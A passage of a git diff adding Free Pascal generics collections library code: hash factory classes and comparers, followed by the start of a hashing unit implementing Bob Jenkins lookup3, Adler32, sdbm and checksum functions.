IExtendedEqualityComparer<T>; +begin + Result := TDelegatedExtendedEqualityComparerFunc<T>.Create(AEqualityComparison, AExtendedHasher); +end; + +{ TDelphiHashFactory } + +class function TDelphiHashFactory.GetHashService: THashServiceClass; +begin + Result := THashService<TDelphiHashFactory>; +end; + +class function TDelphiHashFactory.GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32): UInt32; +begin + Result := DelphiHashLittle(AKey, ASize, AInitVal); +end; + +{ TGenericsHashFactory } + +class function TGenericsHashFactory.GetHashService: THashServiceClass; +begin + Result := THashService<TGenericsHashFactory>; +end; + +class function TGenericsHashFactory.GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32): UInt32; +begin + Result := mORMotHasher(AInitVal, AKey, ASize); +end; + +{ TxxHash32HashFactory } + +class function TxxHash32HashFactory.GetHashService: THashServiceClass; +begin + Result := THashService<TxxHash32HashFactory>; +end; + +class function TxxHash32HashFactory.GetHashCode(AKey: Pointer; ASize: SizeInt; + AInitVal: UInt32): UInt32; +begin + Result := xxHash32(AInitVal, AKey, ASize); +end; + +{ TxxHash32PascalHashFactory } + +class function TxxHash32PascalHashFactory.GetHashService: THashServiceClass; +begin + Result := THashService<TxxHash32PascalHashFactory>; +end; + +class function TxxHash32PascalHashFactory.GetHashCode(AKey: Pointer; ASize: SizeInt; + AInitVal: UInt32): UInt32; +begin + Result := xxHash32Pascal(AInitVal, AKey, ASize); +end; + +{ TAdler32HashFactory } + +class function TAdler32HashFactory.GetHashService: THashServiceClass; +begin + Result := THashService<TAdler32HashFactory>; +end; + +class function TAdler32HashFactory.GetHashCode(AKey: Pointer; ASize: SizeInt; + AInitVal: UInt32): UInt32; +begin + Result := Adler32(AKey, ASize); +end; + +{ TSdbmHashFactory } + +class function TSdbmHashFactory.GetHashService: THashServiceClass; +begin + Result := THashService<TSdbmHashFactory>; +end; + +class function TSdbmHashFactory.GetHashCode(AKey: Pointer; ASize: SizeInt; + AInitVal: UInt32): UInt32; +begin + Result := sdbm(AKey, ASize); +end; + +{ TSimpleChecksumFactory } + +class function TSimpleChecksumFactory.GetHashService: THashServiceClass; +begin + Result := THashService<TSimpleChecksumFactory>; +end; + +class function TSimpleChecksumFactory.GetHashCode(AKey: Pointer; ASize: SizeInt; + AInitVal: UInt32): UInt32; +begin + Result := SimpleChecksumHash(AKey, ASize); +end; + +{ TDelphiDoubleHashFactory } + +class function TDelphiDoubleHashFactory.GetHashService: THashServiceClass; +begin + Result := TExtendedHashService<TDelphiDoubleHashFactory>; +end; + +class function TDelphiDoubleHashFactory.GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32): UInt32; +begin + Result := DelphiHashLittle(AKey, ASize, AInitVal); +end; + +class procedure TDelphiDoubleHashFactory.GetHashList(AKey: Pointer; ASize: SizeInt; AHashList: PUInt32; + AOptions: TGetHashListOptions); +var + LHash: UInt32; + AHashListParams: PUInt16 absolute AHashList; +begin +{$WARNINGS OFF} + case AHashListParams[0] of + -2: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 0; + LHash := 0; + DelphiHashLittle2(AKey, ASize, LHash, AHashList[1]); + Exit; + end; + -1: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 0; + LHash := 0; + DelphiHashLittle2(AKey, ASize, AHashList[1], LHash); + Exit; + end; + 0: Exit; + 1: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 0; + LHash := 0; + DelphiHashLittle2(AKey, ASize, AHashList[1], LHash); + Exit; + end; + 2: + begin + if not (ghloHashListAsInitData in AOptions) then + begin + AHashList[1] := 0; + AHashList[2] := 0; + end; + DelphiHashLittle2(AKey, ASize, AHashList[1], AHashList[2]); + Exit; + end; + else + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + end; +{.$WARNINGS ON} // do not enable warnings ever in this unit, or you will get many warnings about uninitialized TEqualityComparerVMT fields +end; + +{ TDelphiQuadrupleHashFactory } + +class function TDelphiQuadrupleHashFactory.GetHashService: THashServiceClass; +begin + Result := TExtendedHashService<TDelphiQuadrupleHashFactory>; +end; + +class function TDelphiQuadrupleHashFactory.GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32): UInt32; +begin + Result := DelphiHashLittle(AKey, ASize, AInitVal); +end; + +class procedure TDelphiQuadrupleHashFactory.GetHashList(AKey: Pointer; ASize: SizeInt; AHashList: PUInt32; + AOptions: TGetHashListOptions); +var + LHash: UInt32; + AHashListParams: PInt16 absolute AHashList; +begin + case AHashListParams[0] of + -4: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 1988; + LHash := 2004; + DelphiHashLittle2(AKey, ASize, LHash, AHashList[1]); + Exit; + end; + -3: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 2004; + LHash := 1988; + DelphiHashLittle2(AKey, ASize, AHashList[1], LHash); + Exit; + end; + -2: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 0; + LHash := 0; + DelphiHashLittle2(AKey, ASize, LHash, AHashList[1]); + Exit; + end; + -1: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 0; + LHash := 0; + DelphiHashLittle2(AKey, ASize, AHashList[1], LHash); + Exit; + end; + 0: Exit; + 1: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 0; + LHash := 0; + DelphiHashLittle2(AKey, ASize, AHashList[1], LHash); + Exit; + end; + 2: + begin + case AHashListParams[1] of + 0, 1: + begin + if not (ghloHashListAsInitData in AOptions) then + begin + AHashList[1] := 0; + AHashList[2] := 0; + end; + DelphiHashLittle2(AKey, ASize, AHashList[1], AHashList[2]); + Exit; + end; + 2: + begin + if not (ghloHashListAsInitData in AOptions) then + begin + AHashList[1] := 2004; + AHashList[2] := 1988; + end; + DelphiHashLittle2(AKey, ASize, AHashList[1], AHashList[2]); + Exit; + end; + else + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + end; + end; + 4: + case AHashListParams[1] of + 1: + begin + if not (ghloHashListAsInitData in AOptions) then + begin + AHashList[1] := 0; + AHashList[2] := 0; + end; + DelphiHashLittle2(AKey, ASize, AHashList[1], AHashList[2]); + Exit; + end; + 2: + begin + if not (ghloHashListAsInitData in AOptions) then + begin + AHashList[3] := 2004; + AHashList[4] := 1988; + end; + DelphiHashLittle2(AKey, ASize, AHashList[3], AHashList[4]); + Exit; + end; + else + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + end; + else + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + end; +end; + +{ TDelphiSixfoldHashFactory } + +class function TDelphiSixfoldHashFactory.GetHashService: THashServiceClass; +begin + Result := TExtendedHashService<TDelphiSixfoldHashFactory>; +end; + +class function TDelphiSixfoldHashFactory.GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32): UInt32; +begin + Result := DelphiHashLittle(AKey, ASize, AInitVal); +end; + +class procedure TDelphiSixfoldHashFactory.GetHashList(AKey: Pointer; ASize: SizeInt; AHashList: PUInt32; + AOptions: TGetHashListOptions); +var + LHash: UInt32; + AHashListParams: PInt16 absolute AHashList; +begin + case AHashListParams[0] of + -6: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 2; + LHash := 1; + DelphiHashLittle2(AKey, ASize, LHash, AHashList[1]); + Exit; + end; + -5: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 1; + LHash := 2; + DelphiHashLittle2(AKey, ASize, AHashList[1], LHash); + Exit; + end; + -4: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 1988; + LHash := 2004; + DelphiHashLittle2(AKey, ASize, LHash, AHashList[1]); + Exit; + end; + -3: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 2004; + LHash := 1988; + DelphiHashLittle2(AKey, ASize, AHashList[1], LHash); + Exit; + end; + -2: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 0; + LHash := 0; + DelphiHashLittle2(AKey, ASize, LHash, AHashList[1]); + Exit; + end; + -1: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 0; + LHash := 0; + DelphiHashLittle2(AKey, ASize, AHashList[1], LHash); + Exit; + end; + 0: Exit; + 1: + begin + if not (ghloHashListAsInitData in AOptions) then + AHashList[1] := 0; + LHash := 0; + DelphiHashLittle2(AKey, ASize, AHashList[1], LHash); + Exit; + end; + 2: + begin + case AHashListParams[1] of + 0, 1: + begin + if not (ghloHashListAsInitData in AOptions) then + begin + AHashList[1] := 0; + AHashList[2] := 0; + end; + DelphiHashLittle2(AKey, ASize, AHashList[1], AHashList[2]); + Exit; + end; + 2: + begin + if not (ghloHashListAsInitData in AOptions) then + begin + AHashList[1] := 2004; + AHashList[2] := 1988; + end; + DelphiHashLittle2(AKey, ASize, AHashList[1], AHashList[2]); + Exit; + end; + else + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + end; + end; + 6: + case AHashListParams[1] of + 1: + begin + if not (ghloHashListAsInitData in AOptions) then + begin + AHashList[1] := 0; + AHashList[2] := 0; + end; + DelphiHashLittle2(AKey, ASize, AHashList[1], AHashList[2]); + Exit; + end; + 2: + begin + if not (ghloHashListAsInitData in AOptions) then + begin + AHashList[3] := 2004; + AHashList[4] := 1988; + end; + DelphiHashLittle2(AKey, ASize, AHashList[3], AHashList[4]); + Exit; + end; + 3: + begin + if not (ghloHashListAsInitData in AOptions) then + begin + AHashList[5] := 1; + AHashList[6] := 2; + end; + DelphiHashLittle2(AKey, ASize, AHashList[5], AHashList[6]); + Exit; + end; + else + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + end; + else + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + end; +end; + +{ TOrdinalComparer<T, THashFactory> } + +class constructor TOrdinalComparer<T, THashFactory>.Create; +begin + if THashFactory.InheritsFrom(TExtendedHashService) then + begin + FExtendedEqualityComparer := TExtendedEqualityComparer<T>.Default(TExtendedHashFactoryClass(THashFactory)); + FEqualityComparer := IEqualityComparer<T>(FExtendedEqualityComparer); + end + else + FEqualityComparer := TEqualityComparer<T>.Default(THashFactory); + FComparer := TComparer<T>.Default; +end; + +{ TGStringComparer<T, THashFactory> } + +class destructor TGStringComparer<T, THashFactory>.Destroy; +begin + if Assigned(FOrdinal) then + FOrdinal.Free; +end; + +class function TGStringComparer<T, THashFactory>.Ordinal: TCustomComparer<T>; +begin + if not Assigned(FOrdinal) then + FOrdinal := TGOrdinalStringComparer<T, THashFactory>.Create; + Result := FOrdinal; +end; + +{ TGOrdinalStringComparer<T, THashFactory> } + +function TGOrdinalStringComparer<T, THashFactory>.Compare(constref ALeft, ARight: T): Integer; +begin + Result := FComparer.Compare(ALeft, ARight); +end; + +function TGOrdinalStringComparer<T, THashFactory>.Equals(constref ALeft, ARight: T): Boolean; +begin + Result := FEqualityComparer.Equals(ALeft, ARight); +end; + +function TGOrdinalStringComparer<T, THashFactory>.GetHashCode(constref AValue: T): UInt32; +begin + Result := FEqualityComparer.GetHashCode(AValue); +end; + +procedure TGOrdinalStringComparer<T, THashFactory>.GetHashList(constref AValue: T; AHashList: PUInt32); +begin + FExtendedEqualityComparer.GetHashList(AValue, AHashList); +end; + +{ TGIStringComparer<T, THashFactory> } + +class destructor TGIStringComparer<T, THashFactory>.Destroy; +begin + if Assigned(FOrdinal) then + FOrdinal.Free; +end; + +class function TGIStringComparer<T, THashFactory>.Ordinal: TCustomComparer<T>; +begin + if not Assigned(FOrdinal) then + FOrdinal := TGOrdinalIStringComparer<T, THashFactory>.Create; + Result := FOrdinal; +end; + +{ TGOrdinalIStringComparer<T, THashFactory> } + +function TGOrdinalIStringComparer<T, THashFactory>.Compare(constref ALeft, ARight: T): Integer; +begin + Result := FComparer.Compare(ALeft.ToLower, ARight.ToLower); +end; + +function TGOrdinalIStringComparer<T, THashFactory>.Equals(constref ALeft, ARight: T): Boolean; +begin + Result := FEqualityComparer.Equals(ALeft.ToLower, ARight.ToLower); +end; + +function TGOrdinalIStringComparer<T, THashFactory>.GetHashCode(constref AValue: T): UInt32; +begin + Result := FEqualityComparer.GetHashCode(AValue.ToLower); +end; + +procedure TGOrdinalIStringComparer<T, THashFactory>.GetHashList(constref AValue: T; AHashList: PUInt32); +begin + FExtendedEqualityComparer.GetHashList(AValue.ToLower, AHashList); +end; + +function BobJenkinsHash(const AData; ALength, AInitData: Integer): Integer; +begin + Result := DelphiHashLittle(@AData, ALength, AInitData); +end; + +function BinaryCompare(const ALeft, ARight: Pointer; ASize: PtrUInt): Integer; +begin + Result := CompareMemRange(ALeft, ARight, ASize); +end; + +function _LookupVtableInfo(AGInterface: TDefaultGenericInterface; ATypeInfo: PTypeInfo; ASize: SizeInt): Pointer; +begin + Result := _LookupVtableInfoEx(AGInterface, ATypeInfo, ASize, nil); +end; + +function _LookupVtableInfoEx(AGInterface: TDefaultGenericInterface; ATypeInfo: PTypeInfo; ASize: SizeInt; + AFactory: THashFactoryClass): Pointer; +begin + case AGInterface of + giComparer: + Exit( + TComparerService.LookupComparer(ATypeInfo, ASize)); + giEqualityComparer: + begin + if AFactory = nil then + AFactory := TDefaultHashFactory; + + Exit( + AFactory.GetHashService.LookupEqualityComparer(ATypeInfo, ASize)); + end; + giExtendedEqualityComparer: + begin + if AFactory = nil then + AFactory := TDelphiDoubleHashFactory; + + Exit( + TExtendedHashServiceClass(AFactory.GetHashService).LookupExtendedEqualityComparer(ATypeInfo, ASize)); + end; + else + System.Error(reRangeError); + Exit(nil); + end; +end; + +end. + diff --git a/Core/generics_collections/src/generics.hashes.pas b/Core/generics_collections/src/generics.hashes.pas new file mode 100755 index 0000000..634e916 --- /dev/null +++ b/Core/generics_collections/src/generics.hashes.pas @@ -0,0 +1,1617 @@ +{ + This file is part of the Free Pascal/NewPascal run time library. + Copyright (c) 2014 by Maciej Izak (hnb) + member of the NewPascal development team (http://newpascal.org) + + Copyright(c) 2004-2018 DaThoX + + It contains the generics collections library + + See the file COPYING.FPC, included in this distribution, + for details about the copyright. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + + Acknowledgment + + Thanks to Sphere 10 Software (http://sphere10.com) for sponsoring + many new types and major refactoring of entire library. + + Thanks to mORMot (http://synopse.info) project for the best implementations + of hashing functions like crc32c and xxHash32 :) + + **********************************************************************} + +unit Generics.Hashes; + +{$MODE DELPHI}{$H+} +{$POINTERMATH ON} +{$MACRO ON} +{$COPERATORS ON} +{$OVERFLOWCHECKS OFF} +{$RANGECHECKS OFF} + +interface + +uses + Classes, SysUtils; + +{ Warning: the following set of macro code + that decides to use assembler or normal code + needs to stay after the _INTERFACE keyword + because FPC_PIC macro is only set after this keyword, + as it can be modified before by the global $PIC preprocessor directive. + Pierre Muller 2018/07/04 } + +{$ifdef FPC_PIC} + {$define DISABLE_X86_CPUINTEL} +{$endif FPC_PIC} + +{$if defined(OPENBSD) or defined(EMX) or defined(OS2)} + { These targets have old GNU assemblers that } + { do not support all instructions used in assembler code below } + {$define DISABLE_X86_CPUINTEL} +{$endif} + +{$ifdef CPU64} + {$define PUREPASCAL} + {$ifdef CPUX64} + {$define CPUINTEL} + {$ASMMODE INTEL} + {$endif CPUX64} +{$else} + {$ifdef CPUX86} + {$ifndef DISABLE_X86_CPUINTEL} + {$define CPUINTEL} + {$ASMMODE INTEL} + {$else} + { Assembler code uses references to static + variables with are not PIC ready } + {$define PUREPASCAL} + {$endif} + {$else CPUX86} + {$define PUREPASCAL} + {$endif} +{$endif CPU64} + +// Original version of Bob Jenkins Hash +// http://burtleburtle.net/bob/c/lookup3.c +function HashWord( + AKey: PLongWord; //* the key, an array of uint32_t values */ + ALength: SizeInt; //* the length of the key, in uint32_ts */ + AInitVal: UInt32): UInt32; //* the previous hash, or an arbitrary value */ +procedure HashWord2 ( + AKey: PLongWord; //* the key, an array of uint32_t values */ + ALength: SizeInt; //* the length of the key, in uint32_ts */ + var APrimaryHashAndInitVal: UInt32; //* IN: seed OUT: primary hash value */ + var ASecondaryHashAndInitVal: UInt32); //* IN: more seed OUT: secondary hash value */ + +function HashLittle(AKey: Pointer; ALength: SizeInt; AInitVal: UInt32): UInt32; +procedure HashLittle2( + AKey: Pointer; //* the key to hash */ + ALength: SizeInt; //* length of the key */ + var APrimaryHashAndInitVal: UInt32; //* IN: primary initval, OUT: primary hash */ + var ASecondaryHashAndInitVal: UInt32); //* IN: secondary initval, OUT: secondary hash */ + +function DelphiHashLittle(AKey: Pointer; ALength: SizeInt; AInitVal: UInt32): Int32; +procedure DelphiHashLittle2(AKey: Pointer; ALength: SizeInt; var APrimaryHashAndInitVal, ASecondaryHashAndInitVal: UInt32); + +// hash function from fstl +function SimpleChecksumHash(AKey: Pointer; ALength: SizeInt): UInt32; + +// some other hashes +// http://stackoverflow.com/questions/14409466/simple-hash-functions +// http://www.partow.net/programming/hashfunctions/ +// http://en.wikipedia.org/wiki/List_of_hash_functions +// http://www.cse.yorku.ca/~oz/hash.html + +// https://code.google.com/p/hedgewars/source/browse/hedgewars/adler32.pas +function Adler32(AKey: Pointer; ALength: SizeInt): UInt32; +function sdbm(AKey: Pointer; ALength: SizeInt): UInt32; +function xxHash32(crc: cardinal; P: Pointer; len: integer): cardinal;{$IFNDEF CPUINTEL}inline;{$ENDIF} +// pure pascal implementation of xxHash32 +function xxHash32Pascal(crc: cardinal; P: Pointer; len: integer): cardinal; + +type + THasher = function(crc: cardinal; buf: Pointer; len: cardinal): cardinal; + +var + crc32c: THasher; + mORMotHasher: THasher; + +implementation + +function SimpleChecksumHash(AKey: Pointer; ALength: SizeInt): UInt32; +var + i: Integer; + ABuffer: PUInt8 absolute AKey; +begin + Result := 0; + for i := 0 to ALength - 1 do + Inc(Result,ABuffer[i]); +end; + +function Adler32(AKey: Pointer; ALength: SizeInt): UInt32; +const + MOD_ADLER = 65521; +var + ABuffer: PUInt8 absolute AKey; + a: UInt32 = 1; + b: UInt32 = 0; + n: Integer; +begin + for n := 0 to ALength -1 do + begin + a := (a + ABuffer[n]) mod MOD_ADLER; + b := (b + a) mod MOD_ADLER; + end; + Result := (b shl 16) or a; +end; + +function sdbm(AKey: Pointer; ALength: SizeInt): UInt32; +var + c: PUInt8 absolute AKey; + i: Integer; +begin + Result := 0; + c := AKey; + for i := 0 to ALength - 1 do + begin + Result := c^ + (Result shl 6) + (Result shl 16) {%H-}- Result; + Inc(c); + end; +end; + +{ BobJenkinsHash } + +{$define mix_abc := + a -= c; a := a xor (((c)shl(4)) or ((c)shr(32-(4)))); c += b; + b -= a; b := b xor (((a)shl(6)) or ((a)shr(32-(6)))); a += c; + c -= b; c := c xor (((b)shl(8)) or ((b)shr(32-(8)))); b += a; + a -= c; a := a xor (((c)shl(16)) or ((c)shr(32-(16)))); c += b; + b -= a; b := b xor (((a)shl(19)) or ((a)shr(32-(19)))); a += c; + c -= b; c := c xor (((b)shl(4)) or ((b)shr(32-(4)))); b += a +} + +{$define final_abc := + c := c xor b; c -= (((b)shl(14)) or ((b)shr(32-(14)))); + a := a xor c; a -= (((c)shl(11)) or ((c)shr(32-(11)))); + b := b xor a; b -= (((a)shl(25)) or ((a)shr(32-(25)))); + c := c xor b; c -= (((b)shl(16)) or ((b)shr(32-(16)))); + a := a xor c; a -= (((c)shl(4)) or ((c)shr(32-(4)))); + b := b xor a; b -= (((a)shl(14)) or ((a)shr(32-(14)))); + c := c xor b; c -= (((b)shl(24)) or ((b)shr(32-(24)))) +} + +function HashWord( + AKey: PLongWord; //* the key, an array of uint32_t values */ + ALength: SizeInt; //* the length of the key, in uint32_ts */ + AInitVal: UInt32): UInt32; //* the previous hash, or an arbitrary value */ +var + a,b,c: UInt32; +label + Case0, Case1, Case2, Case3; +begin + //* Set up the internal state */ + a := $DEADBEEF + (UInt32(ALength) shl 2) + AInitVal; + b := a; + c := b; + + //*------------------------------------------------- handle most of the key */ + while ALength > 3 do + begin + a += AKey[0]; + b += AKey[1]; + c += AKey[2]; + mix_abc; + ALength -= 3; + AKey += 3; + end; + + //*------------------------------------------- handle the last 3 uint32_t's */ + case ALength of //* all the case statements fall through */ + 3: goto Case3; + 2: goto Case2; + 1: goto Case1; + 0: goto Case0; + end; + Case3: c+=AKey[2]; + Case2: b+=AKey[1]; + Case1: a+=AKey[0]; + final_abc; + Case0: //* case 0: nothing left to add */ + //*------------------------------------------------------ report the result */ + Result := c; +end; + +procedure HashWord2 ( +AKey: PLongWord; //* the key, an array of uint32_t values */ +ALength: SizeInt; //* the length of the key, in uint32_ts */ +var APrimaryHashAndInitVal: UInt32; //* IN: seed OUT: primary hash value */ +var ASecondaryHashAndInitVal: UInt32); //* IN: more seed OUT: secondary hash value */ +var + a,b,c: UInt32; +label + Case0, Case1, Case2, Case3; +begin + //* Set up the internal state */ + a := $deadbeef + (UInt32(ALength shl 2)) + APrimaryHashAndInitVal; + b := a; + c := b; + c += ASecondaryHashAndInitVal; + + //*------------------------------------------------- handle most of the key */ + while ALength > 3 do + begin + a += AKey[0]; + b += AKey[1]; + c += AKey[2]; + mix_abc; + ALength -= 3; + AKey += 3; + end; + + //*------------------------------------------- handle the last 3 uint32_t's */ + case ALength of //* all the case statements fall through */ + 3: goto Case3; + 2: goto Case2; + 1: goto Case1; + 0: goto Case0; + end; + Case3: c+=AKey[2]; + Case2: b+=AKey[1]; + Case1: a+=AKey[0]; + final_abc; + Case0: //* case 0: nothing left to add */ + //*------------------------------------------------------ report the result */ + APrimaryHashAndInitVal := c; + ASecondaryHashAndInitVal := b; +end; + +function HashLittle(AKey: Pointer; ALength: SizeInt; AInitVal: UInt32): UInt32; +var + a, b, c: UInt32; + u: record case byte of + 0: (ptr: Pointer); + 1: (i: PtrUint); + end absolute AKey; + + k32: ^UInt32 absolute AKey; + k16: ^UInt16 absolute AKey; + k8: ^UInt8 absolute AKey; + +label _10, _8, _6, _4, _2; +label Case12, Case11, Case10, Case9, Case8, Case7, Case6, Case5, Case4, Case3, Case2, Case1; + +begin + a := $DEADBEEF + UInt32(ALength) + AInitVal; + b := a; + c := b; + +{$IFDEF ENDIAN_LITTLE} + if (u.i and $3) = 0 then + begin + while (ALength > 12) do + begin + a += k32[0]; + b += k32[1]; + c += k32[2]; + mix_abc; + ALength -= 12; + k32 += 3; + end; + + case ALength of + 12: begin c += k32[2]; b += k32[1]; a += k32[0]; end; + 11: begin c += k32[2] and $ffffff; b += k32[1]; a += k32[0]; end; + 10: begin c += k32[2] and $ffff; b += k32[1]; a += k32[0]; end; + 9 : begin c += k32[2] and $ff; b += k32[1]; a += k32[0]; end; + 8 : begin b += k32[1]; a += k32[0]; end; + 7 : begin b += k32[1] and $ffffff; a += k32[0]; end; + 6 : begin b += k32[1] and $ffff; a += k32[0]; end; + 5 : begin b += k32[1] and $ff; a += k32[0]; end; + 4 : begin a += k32[0]; end; + 3 : begin a += k32[0] and $ffffff; end; + 2 : begin a += k32[0] and $ffff; end; + 1 : begin a += k32[0] and $ff; end; + 0 : Exit(c); // zero length strings require no mixing + end + end + else + if (u.i and $1) = 0 then + begin + while (ALength > 12) do + begin + a += k16[0] + (UInt32(k16[1]) shl 16); + b += k16[2] + (UInt32(k16[3]) shl 16); + c += k16[4] + (UInt32(k16[5]) shl 16); + mix_abc; + ALength -= 12; + k16 += 6; + end; + + case ALength of + 12: + begin + c+=k16[4]+((UInt32(k16[5])) shl 16); + b+=k16[2]+((UInt32(k16[3])) shl 16); + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 11: + begin + c+=(UInt32(k8[10])) shl 16; //* fall through */ + goto _10; + end; + 10: + begin _10: + c+=k16[4]; + b+=k16[2]+((UInt32(k16[3])) shl 16); + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 9 : + begin + c+=k8[8]; //* fall through */ + goto _8; + end; + 8 : + begin _8: + b+=k16[2]+((UInt32(k16[3])) shl 16); + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 7 : + begin + b+=(UInt32(k8[6])) shl 16; //* fall through */ + goto _6; + end; + 6 : + begin _6: + b+=k16[2]; + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 5 : + begin + b+=k8[4]; //* fall through */ + goto _4; + end; + 4 : + begin _4: + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 3 : + begin + a+=(UInt32(k8[2])) shl 16; //* fall through */ + goto _2; + end; + 2 : + begin _2: + a+=k16[0]; + end; + 1 : + begin + a+=k8[0]; + end; + 0 : Exit(c); //* zero length requires no mixing */ + end; + end + else +{$ENDIF} + begin + while ALength > 12 do + begin + a += k8[0]; + a += (UInt32(k8[1])) shl 8; + a += (UInt32(k8[2])) shl 16; + a += (UInt32(k8[3])) shl 24; + b += k8[4]; + b += (UInt32(k8[5])) shl 8; + b += (UInt32(k8[6])) shl 16; + b += (UInt32(k8[7])) shl 24; + c += k8[8]; + c += (UInt32(k8[9])) shl 8; + c += (UInt32(k8[10])) shl 16; + c += (UInt32(k8[11])) shl 24; + mix_abc; + ALength -= 12; + k8 += 12; + end; + + case ALength of + 12: goto Case12; + 11: goto Case11; + 10: goto Case10; + 9 : goto Case9; + 8 : goto Case8; + 7 : goto Case7; + 6 : goto Case6; + 5 : goto Case5; + 4 : goto Case4; + 3 : goto Case3; + 2 : goto Case2; + 1 : goto Case1; + 0 : Exit(c); + end; + + Case12: c+=(UInt32(k8[11])) shl 24; + Case11: c+=(UInt32(k8[10])) shl 16; + Case10: c+=(UInt32(k8[9])) shl 8; + Case9: c+=k8[8]; + Case8: b+=(UInt32(k8[7])) shl 24; + Case7: b+=(UInt32(k8[6])) shl 16; + Case6: b+=(UInt32(k8[5])) shl 8; + Case5: b+=k8[4]; + Case4: a+=(UInt32(k8[3])) shl 24; + Case3: a+=(UInt32(k8[2])) shl 16; + Case2: a+=(UInt32(k8[1])) shl 8; + Case1: a+=k8[0]; + end; + + final_abc; + Result := c; +end; + +(* + * hashlittle2: return 2 32-bit hash values + * + * This is identical to hashlittle(), except it returns two 32-bit hash + * values instead of just one. This is good enough for hash table + * lookup with 2^^64 buckets, or if you want a second hash if you're not + * happy with the first, or if you want a probably-unique 64-bit ID for + * the key. *pc is better mixed than *pb, so use *pc first. If you want + * a 64-bit value do something like "*pc + (((uint64_t)*pb)<<32)". + *) +procedure HashLittle2( + AKey: Pointer; //* the key to hash */ + ALength: SizeInt; //* length of the key */ + var APrimaryHashAndInitVal: UInt32; //* IN: primary initval, OUT: primary hash */ + var ASecondaryHashAndInitVal: UInt32); //* IN: secondary initval, OUT: secondary hash */ +var + a,b,c: UInt32; + u: record case byte of + 0: (ptr: Pointer); + 1: (i: PtrUint); + end absolute AKey; + + k32: ^UInt32 absolute AKey; + k16: ^UInt16 absolute AKey; + k8: ^UInt8 absolute AKey; + +label _10, _8, _6, _4, _2; +label Case12, Case11, Case10, Case9, Case8, Case7, Case6, Case5, Case4, Case3, Case2, Case1; + +begin + //* Set up the internal state */ + a := $DEADBEEF + UInt32(ALength) + APrimaryHashAndInitVal; + b := a; + c := b; + c += ASecondaryHashAndInitVal; + +{$IFDEF ENDIAN_LITTLE} + if (u.i and $3) = 0 then + begin + while (ALength > 12) do + begin + a += k32[0]; + b += k32[1]; + c += k32[2]; + mix_abc; + ALength -= 12; + k32 += 3; + end; + + case ALength of + 12: begin c += k32[2]; b += k32[1]; a += k32[0]; end; + 11: begin c += k32[2] and $ffffff; b += k32[1]; a += k32[0]; end; + 10: begin c += k32[2] and $ffff; b += k32[1]; a += k32[0]; end; + 9 : begin c += k32[2] and $ff; b += k32[1]; a += k32[0]; end; + 8 : begin b += k32[1]; a += k32[0]; end; + 7 : begin b += k32[1] and $ffffff; a += k32[0]; end; + 6 : begin b += k32[1] and $ffff; a += k32[0]; end; + 5 : begin b += k32[1] and $ff; a += k32[0]; end; + 4 : begin a += k32[0]; end; + 3 : begin a += k32[0] and $ffffff; end; + 2 : begin a += k32[0] and $ffff; end; + 1 : begin a += k32[0] and $ff; end; + 0 : + begin + APrimaryHashAndInitVal := c; + ASecondaryHashAndInitVal := b; + Exit; // zero length strings require no mixing + end; + end + end + else + if (u.i and $1) = 0 then + begin + while (ALength > 12) do + begin + a += k16[0] + (UInt32(k16[1]) shl 16); + b += k16[2] + (UInt32(k16[3]) shl 16); + c += k16[4] + (UInt32(k16[5]) shl 16); + mix_abc; + ALength -= 12; + k16 += 6; + end; + + case ALength of + 12: + begin + c+=k16[4]+((UInt32(k16[5])) shl 16); + b+=k16[2]+((UInt32(k16[3])) shl 16); + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 11: + begin + c+=(UInt32(k8[10])) shl 16; //* fall through */ + goto _10; + end; + 10: + begin _10: + c+=k16[4]; + b+=k16[2]+((UInt32(k16[3])) shl 16); + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 9 : + begin + c+=k8[8]; //* fall through */ + goto _8; + end; + 8 : + begin _8: + b+=k16[2]+((UInt32(k16[3])) shl 16); + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 7 : + begin + b+=(UInt32(k8[6])) shl 16; //* fall through */ + goto _6; + end; + 6 : + begin _6: + b+=k16[2]; + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 5 : + begin + b+=k8[4]; //* fall through */ + goto _4; + end; + 4 : + begin _4: + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 3 : + begin + a+=(UInt32(k8[2])) shl 16; //* fall through */ + goto _2; + end; + 2 : + begin _2: + a+=k16[0]; + end; + 1 : + begin + a+=k8[0]; + end; + 0 : + begin + APrimaryHashAndInitVal := c; + 